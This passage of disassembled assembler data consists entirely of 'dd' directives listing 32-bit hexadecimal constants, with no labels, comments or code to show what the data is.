		dd 5940012Dh, 0C4CC0500h, 0D9710834h, 0B3A701C1h, 0A3397B6Ah
		dd 8C281Ah, 5CB0C3BEh, 0EB11BAh, 0F5F713E0h, 228B7190h
		dd 0E759D900h, 0DEEA6A3Dh, 851F00FCh, 7FBC520Eh, 1E39CEE4h
		dd 89350A9Ch, 0A3808048h, 0C13E0F10h, 0B93A079Ah, 0B595F1BCh
		dd 5F04DCEFh, 0C203C6B8h, 0DB929ED2h, 3AE7A021h, 0DE043AA7h
		dd 94B21080h, 0F286C195h, 90619EEh, 58A3F925h, 0ED7E2E68h
		dd 0E3010488h, 868C9022h, 5E09642Ah, 80690C4Ch,	566CA0BCh
		dd 18840051h, 0DD58BD82h, 1009950Ah, 0E0D209E5h, 19D71C8h
		dd 57A0969Eh, 3B4A2BF9h, 4C5129A0h, 0D324ECFBh,	0EF3300F0h
		dd 5C359AD9h, 0B549661Fh, 7309FABFh, 0D00760C8h, 4D5438B4h
		dd 5A8341Ch, 0BC168B2Eh, 0E6FA015Ch, 243D59AFh,	945A160h
		dd 2731E94Ch, 0A14C4A0h, 0D30003DBh, 0EE6EC63Fh, 7C313E8h
		dd 9CD5A970h, 0DDBCA134h, 51D880DFh, 0FC2F6BBDh, 1AA20287h
		dd 129240FFh, 0ACC0005Fh, 2CAD04Ch, 38BE22F5h, 0A45CF143h
		dd 0CFD3923Ah, 0E4CBCD0h, 65A0940h, 14E0FBF8h, 0EC078895h
		dd 75D418Eh, 594599B0h,	0EC60F1B8h, 9757253Ah, 0C287FC53h
		dd 70E04B78h, 0B28464h,	37A09D53h, 677BE135h, 0AA00B671h
		dd 0C88928F1h, 1CD97E2h, 0B03BFBF7h, 70154CE4h,	504A9D1Bh
		dd 5499D809h, 0ECB24240h, 55490D00h, 0F08095B4h, 8DD29E36h
		dd 958128B9h, 0D564BEDAh, 801EE09Dh, 0A5FB7D0Dh, 580BE687h
		dd 4896A120h, 0F819970h, 0DA3FCBDFh, 861FFEA2h,	0A2447060h
		dd 4A95BB78h, 0DFB8C828h, 0F5090273h, 129029B7h, 6830AC60h
		dd 2EEC63Eh, 0E7E44226h, 98005737h, 40EF032Dh, 504EE004h
		dd 2CB096B6h, 330401FDh, 8E671EAFh, 0D3F7600Eh,	6D091200h
		dd 0EBCC9C34h, 92740Ah,	608306C7h, 2AF4F122h, 0F8154E28h
		dd 0A912C37Dh, 330C08FBh, 0AF880Ch, 499DE4F8h, 26470527h
		dd 1B0809Dh, 752B4C6h, 0BCE34BDBh, 8B6D6068h, 0F5598115h
		dd 0C0CC88A0h, 3997EFBEh, 0E0297100h, 72822684h, 0C7910217h
		dd 68830745h, 236A860h,	3A9CD058h, 54B27CD2h, 9E3A4E04h
		dd 7D0180FFh, 391BA1DDh, 75C40044h, 0A01347E9h,	0D2BA3FECh
		dd 3C86A85h, 4DFCF94Eh,	6D0E078h, 0DA7F169Ah, 0B843093Eh
		dd 0E286C880h, 572461B1h, 0B413F46Eh, 16C23C82h, 0A850C894h
		dd 0DDE35C87h, 9EEA5609h, 510C30C4h, 31F48DD3h,	6ACC1694h
		dd 0ED44070Ah, 7704B0B3h, 4416EB1Bh, 5C02CDD4h,	0E47BD2D5h
		dd 23F824ECh, 34BE9368h, 9C34B2FCh, 877AF8C9h, 4E51B17Dh
		dd 0FC337E88h, 47C93C0Ch, 4B867D49h, 0CE84A013h, 55516600h
		dd 0BD2F7736h, 0E2281EF8h, 18CACE6h, 0CAAD1FB7h, 0FA6881FEh
		dd 4E893018h, 6EA8802Ah, 1702568Ah, 0A577A743h,	17BCEC13h
		dd 0B43EDFE3h, 582F6888h, 0A46C1Ah, 0C1BEFBC4h,	0C722E2F9h
		dd 0DF41F709h, 1158C12Bh, 80553E0Eh, 4C7DD938h,	2E70B4BCh
		dd 0E5C754Ah, 77EEF890h, 8FA1CDC0h, 0B91685ECh,	6C40649Dh
		dd 0D9FD3606h, 102D6222h, 0B860B6EFh, 9D307CAEh, 0FD116055h
		dd 1FF33F82h, 77E0B88Eh, 4A69D6EFh, 0FC233025h,	91168008h
		dd 0F6FBD440h, 4C50000Dh, 8CB6CA28h, 0DD1F6A07h, 0E2D745B4h
		dd 62AB2C08h, 0C8A0EA41h, 0C5257803h, 30488E48h, 0F5BAF03Ch
		dd 0E0009791h, 0D65EDD31h, 0C0E2600Bh, 0AC98C0C8h, 0CE4A00A9h
		dd 9821BFFDh, 3100EE0Dh, 0AA67038h, 1C297D6h, 16232226h
		dd 80DF4660h, 617F5F39h, 184ADCCAh, 19E41D39h, 80B8B686h
		dd 79E05CF8h, 1B500C60h, 0FDDF57h, 3FD6CBB1h, 6C171159h
		dd 0C32D3D00h, 4AF9E138h, 51DA2E74h, 0CC163850h, 0D4BC00D7h
		dd 0AA761E35h, 731BB700h, 1DF956AFh, 549C00ACh,	0DE0DF410h
		dd 6F0FB191h, 2582B7EAh, 34C07C12h, 3128CAh, 0B52A8C89h
		dd 0D6F763B0h, 4605ECBCh, 58A8A3DAh, 0D8C85D00h, 0C23DD1A9h
		dd 0D05FB300h, 47DBDE50h, 6619265Bh, 75920EB1h,	21AAD20h
		dd 0A24BE98Bh, 3CE4F0h,	857A40DCh, 0D3A82EB2h, 79B010Eh
		dd 7F43A33Eh, 0D62CD086h, 0BE4BDCh, 446B68D4h, 501C220h
		dd 0B13E7C18h, 60EE97EDh, 482829ECh, 0CA0B203Ah, 700E67A7h
		dd 0F70B2A20h, 0D224E8B8h, 0B3808433h, 0D8096D32h, 66B03AF8h
		dd 1121A000h, 0D0EABAF1h, 0B5293164h, 0DA2048C0h, 1F73FE1Dh
		dd 40C69202h, 0D0068715h, 8828F291h, 0A700F8E8h, 2F0420EEh
		dd 0A0326CABh, 0F725E4h, 0B2ECBCEBh, 6A909F0Fh,	49C4CB12h
		dd 9870644Bh, 4B17D1FCh
		dd 46C908Ch, 10C50911h,	24A976BAh, 17450200h, 0D6869697h
		dd 3B6D1400h, 0F620F82Fh, 0FCEB9538h, 1C401C94h, 0EAA232B7h
		dd 692D01E1h, 0AD64290h, 0CD84D01Eh, 6402C8B0h,	8C1C853Ch
		dd 18A7559Eh, 1015F77Dh, 0B8480EDEh, 65B54C0Bh,	0D4F40005h
		dd 521A92h, 94DD5161h, 0E80C2FAEh, 0BA8CBE00h, 7383215Bh
		dd 0BFB300CFh, 0CBC1BB17h, 0C001394Eh, 0DDF94524h, 0D89216E3h
		dd 0F560818Bh, 0A67800EFh, 0C715CA7h, 598F4700h, 86DCE84Dh
		dd 6B3A5C01h, 0E4FDE3A1h, 0B8601878h, 35BED87Ah, 753AFC00h
		dd 0D0DA1704h, 9BF50294h, 0DB77F1E8h, 0FD01A4D6h, 0B11C9E59h
		dd 70AC070h, 0FEAEF9D9h, 0F097800Fh, 2975E2B4h,	2D84100h
		dd 564A748Dh, 8AC20071h, 0F71E42FEh, 700059BFh,	82435F95h
		dd 3127399h, 0F4D6EC20h, 10139615h, 0CF075A9h, 4009FD2h
		dd 0E27DA585h, 5A7FCC00h, 22742E9Dh, 7400BF63h,	5FAC05Ch
		dd 28AE3200h, 871B8153h, 3DC3EABEh, 0AC0006FFh,	303E5C56h
		dd 0E84F166Ah, 85428880h, 0BEFC0798h, 0B2176D31h, 83C27589h
		dd 274A80A1h, 0F073E7h,	81039705h, 0EC0455CEh, 83241CACh
		dd 766F4BABh, 0CDD8A800h, 0B00031EBh, 0DC53B7C1h, 97A54h
		dd 0BA9AFEA0h, 79421FBBh, 41CBD409h, 20D4A6h, 7EFAE83Ch
		dd 540048C7h, 273B9128h, 0EB22C5h, 50CA7DFFh, 0C29E2A56h
		dd 946E0800h, 6286D190h, 0BAFEh, 8B6F0B4Ah, 6977B591h
		dd 7CA3502Eh, 0A51DF005h, 0C14E70E3h, 0E4ABFB94h, 12F20753h
		dd 0C9044E10h, 5BCE400h, 0F61C0E9Ch, 0A0108F00h, 9341F81Ah
		dd 0CE604A6Ah, 1A38F200h, 4D749464h, 0E200B0E0h, 1D117F32h
		dd 0D36FFBBFh, 0E570B0A8h, 0D6BEB750h, 6DA8E260h, 881E043Eh
		dd 0CC0048A8h, 0BA26F1F6h, 9F55F24h, 4FAA9367h,	0C9C15CF0h
		dd 664C0250h, 0AE7E4CCh, 915E5C30h, 3610F58h, 5D418560h
		dd 0A8C23BBCh, 0D493533Eh, 0DAA80A4h, 58F31B17h, 357C0C00h
		dd 4125F6F7h, 0F0802510h, 143FE8D0h, 0A6671765h, 95A5F0C0h
		dd 0FAA202A3h, 4F5F9C9Ah, 24D8C140h, 3160C014h,	4138B8h
		dd 225CB4C1h, 0B06783D7h, 11E000F9h, 875DFB85h,	4600581Eh
		dd 52087362h, 0E20CD20Ah, 68492850h, 0A7CB0F94h, 0BF00D53Eh
		dd 9980418Dh, 7273C501h, 6F6CCAAAh, 1EC25F0h, 51E81424h
		dd 2001F8F9h, 0F1009045h, 0B8CEFF97h, 0C793DA4h, 741CA53Bh
		dd 0F44CBC58h, 73E2007Fh, 324B6D0h, 8D370033h, 6AC12572h
		dd 4D00743Ah, 18A3CDDDh, 19E9A80h, 0FCB2AEE7h, 0DBCF9DBBh
		dd 0CFE6DBh, 6E4E2A8Fh,	3D092600h, 75467941h, 7A5624D7h
		dd 78AC0090h, 0D8770E6Ah, 1B8C402h, 5055978Bh, 7A0D0130h
		dd 0EBAC620h, 49EFC32h,	360941E0h, 5CEF6ED2h, 7B9F8004h
		dd 0D9872501h, 990C049h, 0D415AD40h, 0B8A040A4h, 0F17B109h
		dd 0EC4E28E9h, 2DFEA088h, 9A1F48Fh, 56CAED41h, 9C3ED400h
		dd 2517BB85h, 34001901h, 58A2D199h, 0FE963F9Bh,	5F430D06h
		dd 52000AB2h, 0A78DD617h, 181D9C87h, 0E0386E35h, 44953C65h
		dd 80665AD0h, 3F7EDACCh, 0ED2E55Ch, 0EBFD1B9Eh,	0EEF8698h
		dd 0B31F0E20h, 133CCD9Bh, 85F80012h, 1D9F364h, 351C3112h
		dd 4E94ECh, 0CD4E872Ch,	500579E4h, 0FE862452h, 235A7490h
		dd 7247EEEAh, 6C7548F7h, 74081E02h, 8AE0D564h, 102769C0h
		dd 0BCE00040h, 0B81F81BEh, 275C0B1Fh, 3A00955Bh, 570D7793h
		dd 7B6CE900h, 53C92DAAh, 9E76034Fh, 6F8908ACh, 0E9301826h
		dd 2A03EF00h, 9AE3B7h, 827C4027h, 2EF864A7h, 4DDC9250h
		dd 0AC7DA900h, 9B5FC61Ah, 54D10022h, 0CBE4FFBAh, 442D1472h
		dd 4314C9F5h, 6388C0C6h, 0D4575853h, 0B0D4B517h, 0BE055620h
		dd 178EA2F2h, 904CC800h, 0A66A5C2Ah, 59DB00D4h,	42F1ED26h
		dd 8601BCEAh, 7145D321h, 18E0AA88h, 0ECB97279h,	0B75F00FBh
		dd 57DA1E05h, 4812A9C7h, 40BC383Ah, 1CF68600h, 0EE0A2928h
		dd 4AD47A48h, 11E9C4C0h, 0BCA0B72Fh, 3892A4F8h,	3BC22E00h
		dd 0C17884E0h, 48505C48h, 5B004C5Ch, 2C12F311h,	963DB192h
		dd 0E029008Fh, 831C8902h, 0AA750201h, 3544F2CEh, 799D7AC0h
		dd 33B68000h, 0AEE29784h, 0B30D0040h, 465CF403h, 58B6CEC2h
		dd 2112AC80h, 14A802Ch,	8DA3F1BFh, 0C0C24E14h, 504CFF66h
		dd 467F0044h, 0EA0DE833h, 0F335021Bh, 808111BBh, 590138E0h
		dd 4B5E2A0Ch, 0B0A11087h, 40A90074h, 0A3C8395Dh, 0A6000D92h
		dd 42E8F796h, 25FFA022h, 7852F356h, 0C0B02D58h,	6E3A9301h
		dd 0B0944E2Ch, 0C327F00Ch, 7BDC00B6h, 7EEBE3Fh,	35F35D96h
		dd 0E4CC5154h, 9AFC5002h, 0D4F025B9h, 5F031C03h, 0F889C51Dh
		dd 907DF998h, 0A9E604h,	31A72507h, 553FC94Fh, 98230D00h
		dd 21D82406h, 57F307EFh, 90CC87F4h, 0F6EA8807h,	70EC409Dh
		dd 0AE341DA0h, 1CE2C0D9h, 4B4FCD27h, 37A77200h,	0E07CDAA3h
		dd 0EA280F1Ah, 0DC04BE64h, 36A4811Fh, 4416FC9h,	7DDFDBB9h
		dd 3464B1D3h, 62860h, 0A371AB7Bh, 7CD8A135h, 8CE0C90Fh
		dd 0CB4B9E5Bh, 54FA7Dh,	81ED8797h, 82A0C1EFh, 58FF7E00h
		dd 14D202BCh, 0F0C9874h, 0F1B58454h, 0BB10750Ch, 0AC01F898h
		dd 0C1E9FC8h, 51F03F68h, 0CD9A3DDDh, 86920F01h,	854074D6h
		dd 493606E8h, 7C2E8881h, 0AA004C33h, 8EB19699h,	17300B22h
		dd 66E1116Ah, 6B331861h, 4F9848BAh, 0F9B25C88h,	73AE8DF8h
		dd 0C26915AFh, 5527DC62h, 0CDE93C00h, 0A54F5F6Bh, 0B48E0400h
		dd 3382A7Ch, 0DEA640EEh, 8C68DFEh, 907EB033h, 3B5890A1h
		dd 0D05001DFh, 0E3058DC6h, 0EAC26041h, 97054490h, 0B6A544DAh
		dd 7F57BC00h, 2649EE30h, 855020h, 7B557786h, 8009C74Ah
		dd 50F95C21h, 6F2A24C8h, 0ADB1019Eh, 6AF8D14Fh,	95625C47h
		dd 0FA858C61h, 5C471BC0h, 3200C20Eh, 0A6065433h, 0D60487ADh
		dd 180A9C27h, 0C9E5F881h, 6DB469FEh, 995C883Bh,	8CAACB02h
		dd 0C831D074h, 127B334h, 3A3E5646h, 70F7CCF6h, 7E050E79h
		dd 0F15028FAh, 368F8400h, 0FC4F40DCh, 84AC2CB9h, 91890088h
		dd 665C8A62h, 98A9CC02h, 60574055h, 7FF115h, 0C4620321h
		dd 881F4E22h, 157C029Dh, 8F70D994h, 7D4054CEh, 79CB69A5h
		dd 23293D00h, 673637F5h, 68A8020Fh, 0C862AE42h,	0DD8A84C0h
		dd 4C01C5Bh, 22C07FEh, 714F1FB0h, 0C4C0BAC5h, 0F40081C0h
		dd 4C7DE48Eh, 0F1BDF7h,	0D4DA8B25h, 0DC14D665h,	769CF07h
		dd 281036FFh, 3E03476Ch, 670030C0h, 5496D4F5h, 11608BB2h
		dd 250B2B40h, 1D710038h, 0B9DFC524h, 47015148h,	3F5C5DA2h
		dd 0C07C04BBh, 1D46E702h, 887EF136h, 774BD101h,	95E8A68Eh
		dd 546649B7h, 0B4788100h, 9A33A171h, 49ECC897h,	5F701DECh
		dd 0FCCD40A6h, 60A93705h, 1293613Bh, 0F80ADD84h, 9640C82Fh
		dd 1CE821BDh, 0BF730B5h, 60A0A087h, 208FD65h, 0C1BC429Dh
		dd 0F9CC5AC4h, 8F80C67Bh, 0BD221049h, 0A871403Fh, 0F0513744h
		dd 22AA275Bh, 904EA4F0h, 288014B1h, 0FF61C266h,	656F0209h
		dd 5D0C1F31h, 7110Eh, 5ECDF7B5h, 5CC14A9Ah, 0E1BAE60Ch
		dd 0B858F9h, 0C7AA185h,	1A837256h, 0C0CAF100h, 360D3833h
		dd 278700B3h, 73BED17Eh, 3000218h, 0E61ABB66h, 0D325FBh
		dd 0C6BCF471h, 0A7E2B522h, 4AF82A00h, 20CB048Fh, 375F006Dh
		dd 9413CCAFh, 2200BA60h, 2D79EB9Ch, 3373ECh, 38547B4Ch
		dd 75E32B6Fh, 0B7CF0200h, 866A4ACBh, 0D35D01E0h, 42998CEh
		dd 480AD884h, 4777EF07h
		dd 3FF074CFh, 0F60D6589h, 299A00FCh, 0DC4B3446h, 2009522h
		dd 0DFCD38E1h, 4B06D88h, 8D24739Ah, 74B977h, 1B282976h
		dd 263181h, 0D209B217h,	0E559BCB6h, 870C8973h, 308A56A2h
		dd 0C9522571h, 1EC3C84Bh, 96FDF1D0h, 6874C8B5h,	0BEC70182h
		dd 3266156Bh, 2104CC47h, 0E45E8400h, 0C40AA3A0h, 126E0278h
		dd 5657162h, 0EE60D4A0h, 0EC00648Eh, 9555379h, 1F2D8DE4h
		dd 340862h, 6D5442C4h, 80E78C38h, 9C192181h, 8E753Eh, 5425FD1Ah
		dd 0F81C76B9h, 60DCA10Ch, 94789Bh, 52CF59F4h, 8A8C8783h
		dd 713C2490h, 0A5BD0379h, 80D96528h, 1D600DFFh,	3891776h
		dd 6BF19DE4h, 1587BEA0h, 6F120C0Fh, 418680FBh, 15819A97h
		dd 886883EAh, 0C273306h, 0FB07D124h, 0DF78E1Eh,	0E7CEC087h
		dd 794663BDh, 2A1A0038h, 1222B9F5h, 0C0B03C2Dh,	0FBFE8600h
		dd 0BCA85621h, 905901B4h, 7898D489h, 62B0E0C6h,	375D0400h
		dd 685B3CBDh, 0E8C877BBh, 298260EEh, 0E06341F8h, 0A1552D17h
		dd 9118A418h, 0D121C08Dh, 1907C7CDh, 0A0D9DC39h, 880009Eh
		dd 6A8EDDEh, 2307FEC4h,	0F16856BFh, 19439DCh, 0AFF9AA8Fh
		dd 0C85181ECh, 0B70CBD55h, 18385CA4h, 13EB0167h, 7383346Ah
		dd 4E388087h, 0D01EAABh, 80D118FEh, 890C196Ch, 0AFA4A200h
		dd 13A7CF4Eh, 0EDA100F5h, 3ACD2521h, 0E560AE28h, 44E28778h
		dd 5BC41E26h, 0A3628035h, 238CC149h, 45538401h,	95916167h
		dd 0C07DA985h, 53A11CA1h, 0F606006Ch, 967AAB2Bh, 818AE400h
		dd 56991A3Eh, 2A2E1ED8h, 0E7B6872Dh, 1662E54h, 0F9004884h
		dd 0B75766C1h, 0CCE338h, 0FE0C5111h, 0F23FBB5Eh, 21B69400h
		dd 56CA6BA7h, 40670CF4h, 0AA29D08Fh, 4895C800h,	88A8E94Eh
		dd 8E610687h, 2068CDFDh, 0BD947B00h, 75654F55h,	7D360328h
		dd 2DDF0169h, 85C03EABh, 20F1796Ah, 0AC3A8868h,	8503031h
		dd 0D71815Dh, 0E4798B11h, 0CB3D030h, 0DB218507h, 3107098Ch
		dd 0DCCDD580h, 1933A19h, 4A95F901h, 809CFC56h, 0B8B1F110h
		dd 0E0182169h, 4E9406AAh, 904D4F8Eh, 0B3631A00h, 42CFE630h
		dd 0D19E060Ch, 0E078DB23h, 0F776790Eh, 0F17B0D4Ah, 4B640880h
		dd 67A231D5h, 0DB6ADC1Dh, 7175E900h, 3E6CC06Fh,	761F5DAEh
		dd 80A800A0h, 7FDD6EB5h, 39F061F8h, 0EC608A18h,	2DF5E10h
		dd 0D31C7147h, 0F660D92Ah, 58008112h, 6CA46EEDh, 0FB43194h
		dd 0AA7DCA5Ah, 112DC4Fh, 0A181D844h, 0A051E05Bh, 0A73083E9h
		dd 0C36C8A5Eh, 8531A064h, 73E90065h, 80C02DACh,	64A428DFh
		dd 0F05D048Fh, 0B8603522h, 68486210h, 21016029h, 0B1CC1A2Ch
		dd 2DC48003h, 2E8C8B55h, 8124F508h, 0F9CCF245h,	0CDCFD076h
		dd 210001FEh, 11D10F35h, 0C04CE5BAh, 1466DB69h,	52383033h
		dd 4DC81975h, 2180B308h, 6D145E88h, 483D6ACAh, 0A11930FDh
		dd 745A6CF1h, 60F6FAF0h, 8AAA3986h, 0A8C00DA2h,	0CEC96FB1h
		dd 1E371E5h, 0CF6B0294h, 0F4222BC2h, 0FD18510Bh, 20515ECCh
		dd 0C1FC63C7h, 8103B9E3h, 2E6A5630h, 7C4CB076h,	70EA1F94h
		dd 0C03547DAh, 0FE8B3177h, 0A3508710h, 5514F90Dh, 32711100h
		dd 0C21F640Eh, 0CA8CAF31h, 0C07F0841h, 0E3A8B21h, 423C22C9h
		dd 0E32A0C47h, 8979B7h,	1DC0A25h, 759ED0A5h, 8CCC5C05h
		dd 0A4012CC1h, 25CBBAB0h, 4092788Dh, 1B8FCC58h,	23B441D0h
		dd 146300BFh, 697A3176h, 8DA04486h, 0BD145B00h,	0BF40314Bh
		dd 0C6170021h, 4FED4CE0h, 1905CDC5h, 0E42E2A6h,	8377984Eh
		dd 0D633Ah, 0CEB33111h,	21BE96E6h, 0BA8E4F38h, 21273720h
		dd 17CEBB90h, 0AD5901E4h, 0E33F11BCh, 1818E40h,	27CE409Ah
		dd 0F46C61C2h, 0F4A415h, 0D91BA3D0h, 5880158h, 5631FE79h
		dd 42F62129h, 0C0B2A853h, 167207Eh, 9A71D1C6h, 451661D7h
		dd 136C2398h, 980039B6h, 0F8CA5BCFh, 0F338F94Fh, 31D0DDCh
		dd 42E06357h, 0D4C3CFA0h, 0A8622007h, 3D815077h, 8C007537h
		dd 0B850C717h, 0DF240C90h, 7A010019h, 6CFC0B9Bh, 65C4D4CDh
		dd 4880C03Eh, 0C864467Dh, 1074D0A4h, 2D917F1Ah,	11D81D20h
		dd 5F3E80A6h, 0F81E38B8h, 837F06E3h, 0A06976CDh, 36C62018h
		dd 4431FDF9h, 7A54F61Bh, 2E03A498h, 9545EF93h, 541200C1h
		dd 0FE5C1294h, 6D1FD487h, 0E8A85DCCh, 4106A306h, 5814984h
		dd 74CF9747h, 88012A6h,	0E6C05C10h, 4680BDCCh, 0F422E4h
		dd 22CCFE41h, 7AF27E01h, 94E26C00h, 5F24235Ch, 6EC0C176h
		dd 8184D652h, 0A50D5371h, 3C20AF21h, 0B6488C3Fh, 0A69612F2h
		dd 201A3C62h, 36CEBE4Ah, 879A6E09h, 0ED0820D5h,	1886AAB2h
		dd 707AD6CDh, 684BFFBCh, 0C820940Ah, 64808411h,	62316914h
		dd 0B2227543h, 145C8E0Fh, 0F2C3E10Ah, 543231FAh, 8CF200Ah
		dd 36D3818Ch, 20FA57A3h, 0C2E8C110h, 0CA40154Ch, 2B42D80Fh
		dd 8161200Eh, 5F60EB3Ah, 0B33EAA08h, 85408035h,	0E1814863h
		dd 0E31BC369h, 0F051D594h, 6DC18110h, 59811650h, 95CDF879h
		dd 0D238D0DCh, 5F229100h, 0BE18201Bh, 16360AE9h, 0F09ECFh
		dd 0AA898879h, 0DF0F3BFAh, 0F3058EABh, 8F680858h, 50B1C69Ch
		dd 91006121h, 6135A8E1h, 4A4DACh, 2F02A558h, 0F86F4EAEh
		dd 0FA24BBF8h, 55584C2Ah, 56401C9Eh, 0FB73800Fh, 0DE0ADE2h
		dd 0A713600h, 501B41B6h, 239C71Fh, 809FDF12h, 22239268h
		dd 0CAF8A025h, 0F290610Ah, 3005985Ah, 648E750Ah, 98C0F488h
		dd 0A859439h, 96AB6C7Bh, 0D4A24FB0h, 0C868285Dh, 2F40DF8Ah
		dd 34DC04AAh, 8E18754Ah, 0C7BF8824h, 0E120666Eh, 56C8D800h
		dd 0B3E0566h, 3D30004Dh, 0C088164Eh, 0B8A4517Dh, 2233F500h
		dd 0BF07C548h, 0A9A5009Bh, 0C8DDE67Ah, 9499F853h, 52738EB9h
		dd 0D496E0ACh, 2B63C14Ch, 18C5A48h, 80B7CCE4h, 0C62918D4h
		dd 0FEFC4F21h, 0A4E22200h, 1690D3A1h, 0BD9C14C2h, 0AA0C8811h
		dd 0B1714C8Eh, 7042012h, 0CB71EC4Fh, 0E69C0068h, 130B6213h
		dd 0D7B48E40h, 4FB06AB0h, 314D8FC2h, 0C3DE7A00h, 0D9932B4h
		dd 9C854E10h, 0BBB00824h, 321467C0h, 225A4630h,	5F8900A1h
		dd 0EF223F14h, 131290D0h, 0D808B161h, 47F68C1Ch, 7500CB81h
		dd 567069B9h, 0EBE0DFD2h, 0D2D06CCh, 0ABCF13FDh, 0B55980D0h
		dd 9EA3E5B2h, 0F48A0094h, 0B4C24E5Dh, 0B0C712CDh, 67908B30h
		dd 20220B63h, 0AB0278F9h, 23FBC9F2h, 0D81E0B0h,	2229154Fh
		dd 0B500B40Eh, 0E9D7FC10h, 68BA6605h, 6F5F001h,	0ACCF961Bh
		dd 6BD040CEh, 0DA9409E9h, 3817D655h, 0E680B391h, 1592907Bh
		dd 9FA24806h, 60A86F19h, 63A68907h, 4E0F3927h, 606A735Ah
		dd 0F8839059h, 0CA6B0018h, 0C38B4DEBh, 1B609DD4h, 88CE8F0h
		dd 0D1F8B928h, 124A18BCh, 8F8FB61h, 0E1C05F4Ch,	4680BCCCh
		dd 0A8F02AFCh, 0CCF94A03h, 0B5E374h, 7CAA5851h,	0EA51540h
		dd 3398491Dh, 0A0AB62C1h, 58A20C44h, 66630074h,	53BE73E3h
		dd 80067D5h, 0E29A9B88h, 606E85CEh, 0ABFC2920h,	41D52998h
		dd 61A0C860h, 284D7Fh, 69C8212Bh, 78804105h, 0E89806C7h
		dd 3DAA6E04h, 0D088F91Bh, 0FDA80016h, 1962BB8h,	36023C9h
		dd 8970DE39h, 0BBF08Fh,	1BA6D9E2h, 4AC5176Bh, 23E46F49h
		dd 0CCE5015Bh, 33DC80B0h, 0FD4E8070h, 1048B6CCh, 548AE2h
		dd 3B6E31C8h, 4C68A5B9h, 24096437h, 90201E50h, 7F57E358h
		dd 43EC6400h, 70A8F89Ah, 1FFD0587h, 815E15C0h, 821D5054h
		dd 7CB3DC31h, 5C16E0A6h, 0A7EF00E6h, 1543A14Fh,	800722C8h
		dd 3EAB6140h
		dd 0B90666h, 4D2AAF49h,	0B6C4211Fh, 52D92805h, 0CB0035C3h
		dd 2D4C80B9h, 509F7342h, 9934B02Ah, 12C4AC28h, 69C48CFEh
		dd 0C2650F1Dh, 45C8AC10h, 0E319480h, 32BC5193h,	0F224A840h
		dd 0F6D2090h, 8946C2E6h, 88007322h, 0BAAE0E35h,	255309CEh
		dd 54905038h, 0B0076E45h, 8189E427h, 0B94C90CBh, 0EB70019Ch
		dd 36857D19h, 0F6F67014h, 3DEAC100h, 0B587CF0Eh, 7C0C5CDCh
		dd 0B0C235C8h, 0D60461CEh, 24227C76h, 0CEB85800h, 0CC3139B3h
		dd 651F0064h, 1793473Bh, 0DCBA99D7h, 28E218A5h,	0F0C8197Bh
		dd 0E60099C2h, 877CE479h, 906376Dh, 27B59F4Bh, 0B00000ABh
		dd 0B070EB3Eh, 8EEED019h, 9424AFA8h, 0C82017ABh, 2F50572Fh
		dd 7B371020h, 13A180DEh, 210E0B17h, 4D3E3301h, 0FBD420EBh
		dd 5C3C7024h, 0D22C0F9h, 3C99FD2Eh, 2448BAh, 4E96F333h
		dd 918CAA20h, 0D74A02DCh, 360438D9h, 96AA8090h,	4021C446h
		dd 90FCC887h, 0FD2F9A17h, 0D040E812h, 315208E1h, 0FB43308Bh
		dd 0E87DAA18h, 3B6F78C1h, 8081AF81h, 0F3323497h, 37FDE46Eh
		dd 283340B1h, 9AB8363Dh, 0FD330820h, 137B71CFh,	6ED67DB8h
		dd 280A3EACh, 0CD1F74F6h, 6D40E5CEh, 979B31A1h,	0C86F601Bh
		dd 71A33C18h, 941270B0h, 48190CFh, 0B427356Bh, 76E29452h
		dd 72B730h, 37071418h, 0D90F6BDEh, 9705800Ch, 10367042h
		dd 9A2331Eh, 10F7780Dh,	1D935CD4h, 5D9802B6h, 3480FAFDh
		dd 44D29D62h, 0FA00F743h, 950CB09Ch, 4E71AF20h,	33E84029h
		dd 0FBE20934h, 8EB8BF3Eh, 60896D95h, 0F2E65623h, 9AF6A180h
		dd 8638093h, 0E88F48E8h, 0ED8723B4h, 47240C1Eh,	0E905C8Fh
		dd 0CE2A2890h, 960CA8E2h, 0B8B4CF17h, 60057787h, 0E7FA5077h
		dd 17EC96Dh, 4600D3ECh,	0A74193AFh, 37C488ABh, 0A3E1752Dh
		dd 4A82C3FDh, 26D9B071h, 0AF00C718h, 1FD7FB37h,	62398F42h
		dd 0F6EBB833h, 0CF03C8E4h, 0FDBA9DC0h, 0EC22988Ch, 0A311662h
		dd 0B29C3075h, 1F8DE69h, 247E701Fh, 67C0FA00h, 0F1B7C331h
		dd 0A0CC1420h, 305939F0h, 8739A8E3h, 93004362h,	0B46DF67h
		dd 0D055B5h, 0C02A801Ah, 0B15FF87Dh, 5E098312h,	0C268C432h
		dd 0AAACB000h, 0C084AB8Fh, 91EB35B3h, 0BAC6805Ch, 0CA9081A1h
		dd 0C7063801h, 2844148Ch, 437DA438h, 12693FE4h,	0E4133034h
		dd 0BB007C8Ah, 59641461h, 6013B29h, 0B76C711Ah,	9C4337C1h
		dd 0B040FD50h, 0E762A84Ch, 0A3D9008Bh, 6B0A5B2Ah, 0AF249AB1h
		dd 4005F4F2h, 6004B083h, 0B1475491h, 60404968h,	25863F41h
		dd 0F4205020h, 33DB18Fh, 0F6B3EF16h, 0D10EB701h, 7DDDF904h
		dd 84465870h, 870544h, 43913B3Eh, 6DBAE355h, 41F03612h
		dd 63A16060h, 2BE5207Fh, 0FE121672h, 5421AC34h,	0CE0479A3h
		dd 0C0258830h, 3E944045h, 62F3A102h, 52F74B6Bh,	8FFD00A0h
		dd 0C970B5DEh, 78012CA8h, 3FEED480h, 0A181B1E3h, 8F8505EDh
		dd 0B64CE0BBh, 44741529h, 0A6182659h, 0E3C21204h, 44A09740h
		dd 70C88138h, 208C24DCh, 60930B74h, 52F378h, 0B2751D43h
		dd 8B1C5994h, 57809C91h, 0D5F2701Ah, 3BF401B3h,	6EF6CC84h
		dd 0F94460F8h, 0BED7845h, 0CA2CC1BEh, 0C6834550h, 0EB46986Ch
		dd 660E3406h, 40B190C2h, 0E3C9160h, 855E0103h, 411299BEh
		dd 88403836h, 1470C0B8h, 8221316Dh, 68616F6Eh, 20388914h
		dd 0BE60E0D0h, 0D085EF19h, 0D9050027h, 6E65EB3Fh, 0C3052BEEh
		dd 0D80E4C39h, 0B8C45484h, 8D0034B2h, 8CFF8BFAh, 0FC03FD7Ch
		dd 5FEB1B41h, 69E1A140h, 88AEC21h, 34E381h, 0C3B24390h
		dd 27018D0Fh, 0ADA5B766h, 70DC5C8Ah, 0A19C0283h, 34258F9Bh
		dd 0FD11FCE7h, 700F7680h, 448C51C2h, 3E008F7Dh,	6B37610Eh
